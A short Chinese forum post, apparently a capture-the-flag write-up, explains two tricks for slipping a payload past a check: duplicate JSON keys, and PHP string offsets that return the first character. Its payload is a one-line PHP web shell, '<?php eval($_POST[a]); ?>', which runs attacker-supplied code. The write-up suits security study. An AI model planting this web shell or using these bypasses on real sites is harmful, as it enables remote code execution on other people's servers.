-
-
[原创] 第八题 牛刀小试 98k
-
发表于:
2020-5-6 20:18
5894
-
第一种
json 遇到两个 key 一样的 entry 时, 只会取后面那个
{"data": "<?php eval($_POST[a]); ?>", "data": "asdasd"}
第二种
php 取字符串的 array index, 返回的是第一个字符
php > echo "asdsa"["aaa"];
PHP Warning: Illegal string offset 'aaa' in php shell code on line 1
PHP Stack trace:
PHP 1. {main}() php shell code:0
Warning: Illegal string offset 'aaa' in php shell code on line 1
Call Stack:
4.6909 400200 1. {main}() php shell code:0
a
payload:
"<?php eval($_POST[a]); ?>"
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
